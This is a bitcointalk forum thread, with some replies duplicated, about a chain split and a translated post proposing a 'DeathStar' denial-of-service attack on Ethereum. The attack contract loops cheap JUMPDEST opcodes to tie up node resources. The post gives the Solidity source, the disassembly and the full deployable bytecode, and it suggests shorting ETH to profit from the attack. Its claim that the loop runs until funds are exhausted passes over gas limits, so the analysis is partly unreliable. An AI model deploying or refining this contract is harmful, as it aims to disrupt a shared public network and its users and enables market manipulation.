an excellent document:
A Survey on Ethereum Systems Security: Vulnerabilities, Attacks, and Defenses
My attack could fall into the category 3.1.23 Under-priced Opcodes
Topic: Attacking the Ethereum network: a possible strategy. (Read 237 times)
https://www.business-standard.com/article/markets/most-used-blockchain-go-ethereum-averts-crisis-after-software-flaw-is-fixed-121082800470_1.html
They claim to have fixed the flaw, but what if the second chain survives?
After the London fork, there were two chains for days.
And still many nodes are not even updated to EIP-1559 (geth > 1.10.5)
https://ethernodes.org/client/geth
Well done gbianchi! It would be great if some Ethereum experts would show up to argue with your ideas.
Considering the recent chain split Ethereum is undergoing and more importantly that over half of their nodes are not updated, once again I realize that this is something extremely experimental to become the financial platform of the future.
Having the monetary and smart contract logic on the same infrastructure is something really bad.
https://www.business-standard.com/article/markets/most-used-blockchain-go-ethereum-averts-crisis-after-software-flaw-is-fixed-121082800470_1.html
They claim to have fixed the flaw, but what if the second chain survives?
Considering the recent chain split Ethereum is undergoing and more importantly that over half of their nodes are not updated, once again I realize that this is something extremely experimental to become the financial platform of the future.
Having the monetary and smart contract logic on the same infrastructure is something really bad.
https://www.business-standard.com/article/markets/most-used-blockchain-go-ethereum-averts-crisis-after-software-flaw-is-fixed-121082800470_1.html
They claim to have fixed the flaw, but what if the second chain survives?
Before any thing else, just recently Ethereum has split into 2 chains. This is in my opinion is a critical circumstances. Prone to attack to be honest . It is de ja vu once again as I remember the TheDAO incident eons ago. Back to the drawing board for the developers. As immutability of the original is again at stake.
Reserved
Attacking the Ethereum network: a possible strategy.
By gbianchi bitcointalk.org
Translated by fillippone.
By gbianchi bitcointalk.org
Translated by fillippone.
This study stems from some observations:
- in the Ethereum network there is no concept of a "forbidden smart contract", the network is permissionless, meaning any user could possibly enter any type of code on the network, as long as the code is formally correct and pays for executing and running the code;
- each "smart contract" behaves by design like a virus, that is, if run, automatically executed on all nodes, precisely because of the principle of decentralization, each node must re-execute the code to verify the work done by others and reach a consensus together with all the other nodes;
- the only mechanism to "govern" the execution of the code is the fact that the execution of any smart contract costs gas, proportional to the number of instructions executed and the type of each instruction.
- smart contracts are normally written in Solidity but are then compiled and translated into EVM machine language and Solidity gives the possibility to write directly in EVM assembler language;
- once entered, the code is immutable, so there is no way to “get rid” of the smart contract from the network unless a hard fork-type like what happened with The DAO. But while the hacker of The Dao just exploited a bug in the contract to fund its child DAOs, Ethereum's core architecture is used here, making it really difficult to design a fairly effective hard fork.
Based on these observations, it is possible to design a "DeathStar" smart contract whose execution costs as little as possible, and which "burns" ethers only to compete with the other smart contracts on the various nodes, and obtain as many processing resources as possible, slowing down and stagnating the execution of all other smart contracts.
A group of attackers could be incentivized for various reasons to burn ethers to jeopardize the network, for example:
- Being supporters of another competing blockchain protocol.
- Organizing a short on Ethereum before the attack, congesting the Ethereum network and short covering at lower prices, covering the initial costs of the attack and eventually profiting from it.
- Cause problems to one or more of the various smart contracts running on Ethereum.
In general, any person or group with sufficient economical and technical means and with any type of interest in the decline of the Ethereum network and/or the smart contracts running there could use this line of attack.
DeathStar technical description
The Ethereum yellow paper is the official source of information.
Inside there are (among many other things) the description of the EVM (Ethereum Virtual Machine) opcodes and the tables of the gas cost of each opcode.
It turns out that each smart contract is compiled and converted into an EVM machine opcode, and from the table "Appendix G FEE SCHEDULE" it is stated that these opcodes have costs ranging from 0 gas (OPcode STOP, RETURN, REVERT) up to 20,000 gas or more for data store opcode, 32,000 gases for CREATE etc.
Let us now introduce the concept of average cost per opcode. A smart contract is composed of a set of opcodes that form the smart contract’s logic, therefore functional calls, logical operations, calculations, storage of results, etc.
The execution of a smart contract will therefore be the execution of many of these opcodes, with various costs, which ultimately lead to the total cost of the execution.
Suppose that a smart contract executes these opcodes:
10 of 3 gases, 5 of 8 gases, one of 700 gases and one of 20,000 gases (storage operations are very expensive).
We will therefore have a total cost of 30 + 40 + 700 + 20,000 = 20770 gas for 17 opcodes. The average cost per opcode will therefore be 1221.76 gas.
In order to be the most "competitive" smart contract in terms of cost per opcode, DeathStar will have to be designed around an opcode that costs as little as possible, to have the lowest average cost per opcode possible.
You cannot use cost 0 opcodes (STOP, RETURN, REVERT) as they all terminate the execution of the smart contract.
So let's move on to the only opcode at the cost of 1 gas: JUMPDEST.
Jumpdest is an opcode that does almost nothing except "Mark a valid destination for jump". It does not push and/or pop from the stack, it does nothing but set a position where you can jump with a JUMP.
The idea is to wrap a series of JUMPDEST opcodes in a loop, in such a way as to lower as much as possible the average cost per opcode to execute this loop, to make it close to 1 gas per opcode, target to which none smart contract that implements some logic will never even remotely arrive.
But remember our purpose is not to have a logic (in fact from a processing point of view this code does not produce anything, it has no logic) it is simply to have the lowest possible average cost per opcode, to execute with a certain sum the largest possible number of opcodes that "drain" computing resources from the network.
The last note we need to know is that ethereum has a very simple criterion for "breaking" infinite loops (the Turing Halting Problem): it ends them when the funds run out. So by appropriately loading the smart contract with funds, it will continue to run, scaling a gas to opcode (on average) in competition with other much more expensive smart contracts in terms of average cost to opcode, which is exactly the purpose that we were set to: Have a smart contract that burns ethereum at the lowest possible cost competing with others mart running contracts that will have far higher average costs per opcode.
A "trick" that helps us to obtain the binary code is that in the old versions of solidity (up to version 0.4) it was possible to enter tags for jump instructions in assembler and that these tags were implemented with Jumpdest opcodes, then using a sole compiler of version 0.4.x the code is compiled in an instant.
Coincidentally, this coding technique is no longer possible in new compilers.
DeathStar code:
[/list]
Code:
pragma solidity ^0.4.0;
// The presence of the payable modifier means that the function can process transactions with non-zero Ether value.
// If a transaction that transfers Ether comes to the contract and calls some function X,
// then if this function X does not have the payable modifier, then the transaction will be rejected.
// Add a fake input and ouput value, so simulate a some logic.
// Note the final code is never excecuted.
contract DeathStar
{
function DeathLoop(uint x) public payable returns (bool)
{
assembly
{
// jumpdest price 1 gas
loop000:
loop001:
loop002:
loop003:
loop004:
...
loop996:
loop997:
loop998:
loop999:
// push address stack+1 price Wverylow=3gas
// jmp address stack-1 price Wmid=8gas
jump(loop000)
}
// fake code never executed
if (x > 5) return(true);
else return(false);
}
}
Once compiled, it is shown as:
Code:
...
JUMPDEST
JUMPDEST
JUMPDEST
...
JUMPDEST
JUMPDEST
PUSH2 0x6E
JUMP
With 1000 jumpdest (each loopxxx tag: generates a jumpdest) + a push (cost 3 gas) + a jump (cost 8 gas) we have 1002 opcode at 1011 gas the average cost per opcode of the loop is therefore around 1.0089 gas.
Assuming a gas cost of 36 Gwei, we have an average cost per instruction of 36.32 Gwei per opcode, i.e. with a single Ethereum we can perform 27,500,000 opcodes.
Note that adding more jumpdest lengthens the code but improves the average cost per opcode very marginally, I don't think it's worth it.
Binary code of the compiled smart contract:
Binary:
Code:
6060604052341561000c57fe5b5b6104958061001c6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636e62ff351461003b575bfe5b610051600480803590602001909190505061006b565b604051808215151515815260200191505060405180910390f35b60005b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b61006e565b60009050610464565b5b9190505600a165627a7a72305820b5446b266264bd3c7a82cb31fb01f7458fbd7dd1815773c5a6f5c0bc86dabb8f0029
Thanks to the guys from the Italian community of bitcointalk.org (filippone, acquafredda, HostFat, jack0m and others) who gave me interesting ideas for the realization of this study.
References:
ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGER
The Ethereum Virtual Machine — How does it work?
WHAT IS ETHEREUM MINING?
Does every node execute the contract code for each transaction?
Smart contract execution without making transaction on ethereum blockchain
View/Pure Gas usage - Cost gas if called internally by another function?
What is the difference between a transaction and a call?
Calls vs. transactions in Ethereum smart contracts
How Bitcoin and Ethereum solved the Halting Problem differently
Why is Bitcoin not Turing complete?
Jump to: